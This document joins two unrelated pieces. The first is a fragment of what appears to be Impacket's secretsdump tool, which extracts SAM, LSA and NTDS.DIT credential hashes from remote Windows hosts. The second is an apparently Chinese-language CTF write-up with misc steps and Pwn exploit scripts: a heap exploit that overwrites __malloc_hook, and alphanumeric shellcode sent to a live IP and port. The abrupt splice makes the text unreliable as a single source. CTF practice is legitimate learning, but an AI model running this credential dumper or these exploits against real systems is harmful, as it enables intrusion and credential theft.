                    self.__canProcessSAMLSA = False
                    if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
                        and self.__doKerberos is True:
                        # Giving some hints here when SPN target name validation is set to something different to Off
                        # This will prevent establishing SMB connections using TGS for SPNs different to cifs/
                        logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
                    else:
                        logging.error('RemoteOperations failed: %s' % str(e))

            # If RemoteOperations succeeded, then we can extract SAM and LSA
            if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
                try:
                    if self.__isRemote is True:
                        SAMFileName         = self.__remoteOps.saveSAM()
                    else:
                        SAMFileName         = self.__samHive

                    self.__SAMHashes    = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
                    self.__SAMHashes.dump()
                    if self.__outputFileName is not None:
                        self.__SAMHashes.export(self.__outputFileName)
                except Exception as e:
                    logging.error('SAM hashes extraction failed: %s' % str(e))

                try:
                    if self.__isRemote is True:
                        SECURITYFileName = self.__remoteOps.saveSECURITY()
                    else:
                        SECURITYFileName = self.__securityHive

                    self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
                                                   isRemote=self.__isRemote, history=self.__history)
                    self.__LSASecrets.dumpCachedHashes()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportCached(self.__outputFileName)
                    self.__LSASecrets.dumpSecrets()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportSecrets(self.__outputFileName)
                except Exception as e:
                    if logging.getLogger().level == logging.DEBUG:
                        import traceback
                        traceback.print_exc()
                    logging.error('LSA hashes extraction failed: %s' % str(e))

            # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
            if self.__isRemote is True:
                if self.__useVSSMethod and self.__remoteOps is not None:
                    NTDSFileName = self.__remoteOps.saveNTDS()
                else:
                    NTDSFileName = None
            else:
                NTDSFileName = self.__ntdsFile

            self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
                                           noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
                                           useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
                                           pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
                                           outputFileName=self.__outputFileName, justUser=self.__justUser,
                                           printUserStatus= self.__printUserStatus)
            try:
                self.__NTDSHashes.dump()
            except Exception as e:
                if logging.getLogger().level == logging.DEBUG:
                    import traceback
                    traceback.print_exc()
                if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                    resumeFile = self.__NTDSHashes.getResumeSessionFile()
                    if resumeFile is not None:
                        os.unlink(resumeFile)
                logging.error(e)
                if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
                    logging.info("You just got that error because there might be some duplicates of the same name. "
                                 "Try specifying the domain name for the user as well. It is important to specify it "
                                 "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
                elif self.__useVSSMethod is False:
                    logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
            self.cleanup()
        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(e)
            if self.__NTDSHashes is not None:
                if isinstance(e, KeyboardInterrupt):
                    while True:
                        answer =  input("Delete resume session file? [y/N] ")
                        if answer.upper() == '':
                            answer = 'N'
                            break
                        elif answer.upper() == 'Y':
                            answer = 'Y'
                            break
                        elif answer.upper() == 'N':
                            answer = 'N'
                            break
                    if answer == 'Y':
                        resumeFile = self.__NTDSHashes.getResumeSessionFile()
                        if resumeFile is not None:
                            os.unlink(resumeFile)
            try:
                self.cleanup()
            except:
                pass

    def cleanup(self):
        logging.info('Cleaning up... ')
        if self.__remoteOps:
            self.__remoteOps.finish()
        if self.__SAMHashes:
            self.__SAMHashes.finish()
        if self.__LSASecrets:
            self.__LSASecrets.finish()
        if self.__NTDSHashes:
            self.__NTDSHashes.finish()


# Process command-line arguments.
if __name__ == '__main__':
    # Explicitly changing the stdout encoding format
    if sys.stdout.encoding is None:
        # Output is redirected to a file
        sys.stdout = codecs.getwriter('utf8')(sys.stdout)

    print(version.BANNER)

    parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from "
                                                      "the remote machine without executing any agent there.")

    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL'
                                                       ' (if you want to parse local files)')
    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
    parser.add_argument('-system', action='store', help='SYSTEM hive to parse')
    parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive')
    parser.add_argument('-security', action='store', help='SECURITY hive to parse')
    parser.add_argument('-sam', action='store', help='SAM hive to parse')
    parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse')
    parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only '
                         'available to DRSUAPI approach). This file will also be used to keep updating the session\'s '
                         'state')
    parser.add_argument('-outputfile', action='store',
                        help='base output filename. Extensions will be added for sam, secrets, cached and ntds')
    parser.add_argument('-use-vss', action='store_true', default=False,
                        help='Use the VSS method insead of default DRSUAPI')
    parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec '
                        'method to use at target (only when using -use-vss). Default: smbexec')
    group = parser.add_argument_group('display options')
    group.add_argument('-just-dc-user', action='store', metavar='USERNAME',
                       help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. '
                            'Implies also -just-dc switch')
    group.add_argument('-just-dc', action='store_true', default=False,
                        help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)')
    group.add_argument('-just-dc-ntlm', action='store_true', default=False,
                       help='Extract only NTDS.DIT data (NTLM hashes only)')
    group.add_argument('-pwd-last-set', action='store_true', default=False,
                       help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data')
    group.add_argument('-user-status', action='store_true', default=False,
                        help='Display whether or not the user is disabled')
    group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal')
    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                             '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use'
                             ' the ones specified in the command line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication'
                                                                            ' (128 or 256 bits)')
    group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
    group = parser.add_argument_group('connection')
    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
                                 'ommited it use the domain part (FQDN) specified in the target parameter')
    group.add_argument('-target-ip', action='store', metavar="ip address",
                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
                            'This is useful when target is the NetBIOS name and you cannot resolve it')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    # Init the example's logger theme
    logger.init(options.ts)

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
        # Print the Library's installation path
        logging.debug(version.getInstallationPath())
    else:
        logging.getLogger().setLevel(logging.INFO)

    domain, username, password, remoteName = parse_target(options.target)

    if options.just_dc_user is not None:
        if options.use_vss is True:
            logging.error('-just-dc-user switch is not supported in VSS mode')
            sys.exit(1)
        elif options.resumefile is not None:
            logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch')
            sys.exit(1)
        elif remoteName.upper() == 'LOCAL' and username == '':
            logging.error('-just-dc-user not compatible in LOCAL mode')
            sys.exit(1)
        else:
            # Having this switch on implies not asking for anything else.
            options.just_dc = True

    if options.use_vss is True and options.resumefile is not None:
        logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode')
        sys.exit(1)

    if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None:
        logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode')
        sys.exit(1)

    if remoteName.upper() == 'LOCAL' and username == '':
        if options.system is None and options.bootkey is None:
            logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check help')
            sys.exit(1)
    else:

        if options.target_ip is None:
            options.target_ip = remoteName

        if domain is None:
            domain = ''

        if options.keytab is not None:
            Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
            options.k = True

        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
            from getpass import getpass

            password = getpass("Password:")

        if options.aesKey is not None:
            options.k = True

    dumper = DumpSecrets(remoteName, username, password, domain, options)
    try:
        dumper.dump()
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(e)

qwe123!@#

接着找登录密码

Y0u_f1Nd^_^m3_233

将其拼起来九点得到解压密码

qwe123!@#_Y0u_f1Nd^_^m3_233

解压得到 original.png

找到工具CatWatermark解水印,https://github.com/Konano/CatWatermark

得到out.png

flag4的思路同隐写的xor思路

猜测为xor图片

直接将 bin 文件异或PNG前16位固定的文件头

然后将XOR出来的前16位于BIN异或

得到flag4

Web

调查问卷

写调查问卷得到flag

Pwn

vtable_hijack

from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux', 'splitw', '-h', '-p', '80'])
p = process('./pwn')
libc = ELF('./libc.so')
def add(index, size):
    p.recvuntil('choice:\n')
    p.send(b'1'.ljust(0x10, b'\x00'))
    p.recvuntil('index:\n')
    p.send(bytes(str(index), 'utf-8').ljust(0x10, b'\x00'))
    p.recvuntil('size:\n')
    p.send(bytes(str(size), 'utf-8').ljust(0x10, b'\x00'))
def delete(index):
    p.recvuntil('choice:\n')
    p.send(b'2'.ljust(0x10, b'\x00'))
    p.recvuntil('index:\n')
    p.send(bytes(str(index), 'utf-8').ljust(0x10, b'\x00'))
def edit(index, size, content):
    p.recvuntil('choice:\n')
    p.send(b'3'.ljust(0x10, b'\x00'))
    p.recvuntil('index:\n')
    p.send(bytes(str(index), 'utf-8').ljust(0x10, b'\x00'))
    p.recvuntil('length:\n')
    p.send(bytes(str(size), 'utf-8').ljust(0x10, b'\x00'))
    p.recvuntil('content:\n')
    p.send(content)
def show(index):
    p.recvuntil('choice:\n')
    p.send(b'4'.ljust(0x10, b'\x00'))
    p.recvuntil('index:\n')
    p.send(bytes(str(index), 'utf-8').ljust(0x10, b'\x00'))
def exit():
    p.recvuntil('choice:\n')
    p.send(b'5'.ljust(0x10, b'\x00'))
    
add(0, 0x80)
add(1, 0x60)
add(2, 0x10)
delete(0)
show(0)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x39bb78
print(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + [0x3f3e6, 0x3f43a, 0xd5c07][2]

delete(1)
edit(1, 0x8, p64(malloc_hook - 0x23))

add(3, 0x60)
add(4, 0x60)
edit(4, 0x13 + 8, b'a' * 0x13 + p64(one_gadget))

add(1, 1)
# gdb.attach(p)
p.interactive()

Alpha_Shell

from pwn import*
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux', 'splitw', '-h', '-p', '80'])
#p = process('./attachment')
elf=ELF('./attachment')
p=remote('125.70.243.22',31267)

payload=b'QXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjKTYfi9630t800T810T860T870T880t8B0T8J0T8K0T8L0T8M0T8O0T8P0T8T0T8U0T8V0T8W0t8b0T8g0T8h0T8i0T8j0T8n0T8oRAPZ0t8C0t8E0t8H0t8R0t8S0t8Y0t8Z0t8c0t8e0t8fZRAQZ0T8lZjNTYfi9yb0t800t820T8O0T8P0T8Q0T8R0T8TRAPZ0t83ZHpzflagUUUPH17HKodHAf1RM1RhTTUUXZPHGGTUUUHGFVUUUjUHAbIGBUTUUjqXZP'

p.send(payload)
p.interactive()
By F14GThi3f On